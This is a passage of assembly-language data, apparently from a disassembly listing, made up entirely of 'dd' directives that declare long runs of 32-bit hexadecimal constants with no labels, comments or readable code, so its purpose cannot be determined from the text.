		dd 570CF8C9h, 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh
		dd 65315700h, 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h
		dd 0E77D6h, 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh
		dd 6A7A1E46h, 0AE1F42B0h, 3D01C978h, 47CB80DFh,	76D0A201h
		dd 2516001Dh, 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h
		dd 8B28031Dh, 0D3CCA396h, 29A9B388h, 80EC0C39h,	1E202E6Dh
		dd 0E8D5F8h, 99FFD271h,	88B83B75h, 50EAC702h, 0E37E5FFEh
		dd 42588802h, 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h
		dd 275DF2h, 3920B22h, 767E1C6h,	40C3D500h, 0C28104FFh
		dd 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h
		dd 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h,	0CE398E91h
		dd 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h,	0EF039F1h
		dd 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch
		dd 3A144143h, 0F01EBACAh
		dd 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh
		dd 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h
		dd 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h,	938013Ah
		dd 97791257h, 0F3C10E0h, 9472B84Ah, 0DE041DFDh,	8A6A0005h
		dd 0FA9553F2h, 448C64DEh, 1F22A618h, 8FA5F163h,	9C362F9h
		dd 92072C11h, 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah
		dd 0C3A4F8F0h, 141EEB67h, 2305EAF3h, 47914EDAh,	40443C20h
		dd 0CA106141h, 86164839h, 524A1CEh, 6F315314h, 20C897Ah
		dd 48202523h, 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch
		dd 811C0D44h, 2301206h,	0C901FF64h, 90E04D09h, 33F200F7h
		dd 0F350F172h, 84000469h, 0B22A2041h, 296EECh, 1263F04Ah
		dd 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h
		dd 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h
		dd 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh
		dd 0BD70D95Ah, 0C2D9093h, 18598832h, 90067D24h,	713F8CE3h
		dd 3044802Bh, 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h
		dd 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h,	3A3D56ABh
		dd 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h
		dd 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh,	63E61559h
		dd 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h,	12E6C304h
		dd 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h
		dd 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h
		dd 0F1FC4AB3h, 89B0C308h, 91FC5EA8h, 9E9D51E0h,	1804168h
		dd 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh, 430D6800h
		dd 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h
		dd 3EEA5E2Eh, 1C1F700h,	741CD9Eh, 0D1048A49h, 300A7332h
		dd 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh
		dd 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh
		dd 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh
		dd 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h,	55357469h
		dd 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h
		dd 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh
		dd 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh,	275C08Bh
		dd 15392B94h, 9E059CA9h, 0FE081380h, 749CB254h,	61800E1h
		dd 2F23B459h, 0FA03A25Ch, 6445A88Bh, 71C59088h,	804D01C3h
		dd 8F26A69h, 172DE4D3h,	5D277005h, 0F1ACBCB4h, 2B157300h
		dd 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah
		dd 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh,	19582163h
		dd 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh,	788AE7Eh
		dd 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h
		dd 5181AD1Fh, 6132B9C6h, 0F18CC8C0h, 36F02200h,	0D01931BBh
		dd 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h, 9636641h
		dd 1D4B9085h, 9DBFFB83h, 948F00ACh, 0FA71EA55h,	0F0F27A00h
		dd 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch
		dd 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h,	0C800C031h
		dd 0BF841090h, 0C970F1h, 3C7FB12Bh, 1A961130h, 41D24124h
		dd 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h
		dd 4B0E9490h, 0C0F9D101h, 7C5D81C7h, 4CD701E2h,	8DF42F65h
		dd 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh
		dd 0F4A74D1Dh, 91005ADCh, 580BC98Ah, 7402320h, 151AD042h
		dd 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h
		dd 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h
		dd 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h
		dd 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh
		dd 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch
		dd 6854A118h, 0AC9083F6h, 85000F79h, 9541015Fh,	39FD3B0h
		dd 1913CC45h, 0A2900D66h, 4207D55Ch, 1A6CFD9Dh,	68D103F0h
		dd 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h
		dd 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h, 7598ABCh
		dd 2F06BD83h, 91590FEh,	8B005184h, 1CEEAA41h, 803108h
		dd 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h,	2FB90070h
		dd 3E64B5E2h, 20048D0h,	27DC14B2h, 44B820h, 50143D4h, 0B566281Bh
		dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h
		dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h
		dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh
		dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h
		dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h
		dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h,	0E8001748h
		dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h,	250310B2h
		dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h
		dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h,	0B0FE880h
		dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h,	164AAB95h
		dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h
		dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch
		dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h
		dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh
		dd 68518376h, 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h
		dd 637C0CACh, 0F0444007h, 805973BFh, 114BD920h,	0EFE3A69h
		dd 552D098Eh, 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h
		dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h
		dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h
		dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h
		dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h
		dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh
		dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h
		dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h
		dd 0E2EACBFh, 2014510h,	2D4C6A30h, 0B09FC32Bh, 132C0732h
		dd 121CF018h, 11C1D08h,	80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
		dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
		dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h,	53620B72h
		dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh,	852120h
		dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
		dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
		dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
		dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h,	75A0CCB4h
		dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
		dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h,	0D9B45Ch
		dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
		dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh,	450F43Bh
		dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
		dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
		dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh,	89F8F3CAh
		dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h,	3B83FC80h
		dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
		dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
		dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
		dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
		dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
		dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h,	8D95FA2Ch
		dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h,	909C1FBCh
		dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
		dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
		dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h,	61E91977h
		dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
		dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
		dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
		dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
		dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
		dd 24F50774h, 0F8FA80h,	0FC1390Dh, 920060FEh, 1D495057h
		dd 8CFE89h, 0EE475DDBh,	159862B8h, 81268D7Dh, 1612E344h
		dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
		dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
		dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h,	905C7C0h
		dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
		dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh,	4910434Fh
		dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
		dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
		dd 173936E9h, 95380C9h,	480F34C3h, 4CAE4C41h, 7794050Ch
		dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
		dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
		dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh,	1525F7FEh
		dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh,	7180A5C8h
		dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
		dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
		dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
		dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
		dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h,	0FF073534h
		dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
		dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
		dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h,	0D5D20A0Ch
		dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
		dd 2AC31000h, 3B558F8h,	33C812A0h, 8FF05DBh, 57A9019Fh
		dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
		dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h,	66085D3Bh
		dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h,	3075448Dh
		dd 0AC09B93Fh, 9109B5h,	0F5EF123Eh, 8BF61EC4h, 0DD807E06h
		dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
		dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
		dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
		dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h,	700F3C5h
		dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
		dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
		dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h,	5D88A03h
		dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh,	1772110h
		dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
		dd 5E1D0064h, 913BA40h,	0E800CEFAh, 0F535AE4Ah,	53CCA9h
		dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh,	0E6600E19h
		dd 2833B32h, 3E92042Ch,	3B66A080h, 7127506h, 76C98500h
		dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
		dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
		dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
		dd 0F01F84h, 1DC8BD4Ch,	0FC485FB9h, 0EFE06B02h,	0F58E412Dh
		dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
		dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
		dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h,	70CAA1Dh
		dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
		dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
		dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
		dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
		dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
		dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
		dd 80792075h, 1757D054h, 11001993h, 0D2515303h,	0A04D14h
		dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
		dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
		dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h,	0C0223Dh
		dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
		dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h,	610D0705h
		dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
		dd 522228DCh, 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h
		dd 0D740A00h, 0ADD73C84h, 4300EC90h, 564B5E2Ah,	1C212C30h
		dd 0DE1D5960h, 40B51F5Bh, 792A4D6h, 2C037389h, 852E56DDh
		dd 352DA0FCh, 6B6C1EE9h, 0C0655D64h, 991257C2h,	0AB735B30h
		dd 6800C4E8h, 164E912Dh, 0AF6CB8h, 0C20B9557h, 0C050C194h
		dd 2DAD2201h, 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h
		dd 9B03CB42h, 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh
		dd 0C9009901h, 6F8B29DEh, 75B9A609h, 116500A5h,	5B73A488h
		dd 1AE626C7h, 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h
		dd 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h, 1FBAE619h,	402F2BE1h
		dd 0F62E284Ah, 46FE2D42h, 52D6EE00h, 92B6E74Fh,	2AB3008Dh
		dd 1CB95D65h, 2E1F29C4h, 80E7438h, 4254C730h, 17AF9770h
		dd 3F59FA90h, 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh
		dd 0F100F41h, 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h
		dd 77138B2Ah, 1AA80796h, 0B008F49Fh, 4A95651Dh,	54855600h
		dd 5E2F412Eh, 6570E776h, 0AA810057h, 80744965h,	0BE0207F0h
		dd 0EB0F0263h, 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h
		dd 5245CC6h, 55455900h,	0EB3125B2h, 93AF00CAh, 5C7D1404h
		dd 0E1002CBCh, 100E2F71h, 77F1799Ch, 9A0A0078h,	0EC6EDF3Eh
		dd 52000B44h, 7367650Eh, 0EE9320h, 0D3815A84h, 9B64C883h
		dd 71BF1800h, 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h
		dd 41D7408h, 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h
		dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h
		dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h
		dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h,	6CF100F6h
		dd 59AD14B9h, 107D865h,	0C7D8051h, 0BBF27F50h, 5AEB0039h
		dd 1FE81A03h
		dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h
		dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h
		dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h,	16F2B8D8h
		dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h
		dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h
		dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h,	704CA3Eh
		dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h
		dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh
		dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h
		dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h
		dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h
		dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh
		dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh
		dd 190507Fh, 3300A0FCh,	13156A8h, 200BE5h, 5C15D524h, 6051F8C6h
		dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
		dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch,	57003F59h
		dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh,	503089D9h
		dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
		dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h,	4B011029h
		dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
		dd 9100187Ah, 235060Ch,	0E2A876h, 5A402D7Ch, 52643155h
		dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
		dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh,	14020800h
		dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
		dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah,	0D65048A4h
		dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h,	6774292Eh
		dd 32003BD9h, 1120C61h,	2036A5Bh, 0AB574555h, 946330C3h
		dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
		dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
		dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
		dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
		dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
		dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h,	0E7C0F8CDh
		dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h,	86957Eh
		dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh,	4280E2Eh
		dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
		dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
		dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
		dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h,	0CD770006h
		dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h,	0BEA09A95h
		dd 74EB0D3h, 3F8624FEh,	0E72230D2h, 420F01B7h, 56A57h
		dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
		dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
		dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
		dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
		dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h,	65AD7AAAh
		dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
		dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
		dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
		dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
		dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h,	8084B14Ah
		dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h,	0CAB803F9h
		dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
		dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
		dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh,	16EC89h
		dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
		dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h
		dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h,	74ECAC16h
		dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h,	0EC9E3937h
		dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh,	0AD39DE9Fh
		dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h,	2D004FF3h
		dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h
		dd 708498A4h, 0FEF28Fh,	736B6FF2h, 8CAA5524h, 8E749001h
		dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah
		dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h,	0CD3A7180h
		dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h,	2EB1215Eh
		dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh,	46002FC6h
		dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h
		dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh
		dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h
		dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh
		dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h
		dd 136FCA5h, 75323C48h,	0C8180C24h, 0AE0F1499h,	0E0232091h
		dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh,	47F20079h
		dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h,	1C1DE2FEh
		dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh
		dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh
		dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h,	2A0B24C3h
		dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh
		dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh,	0C20098D1h
		dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h
		dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h
		dd 3F0044C4h
		dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch
		dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh
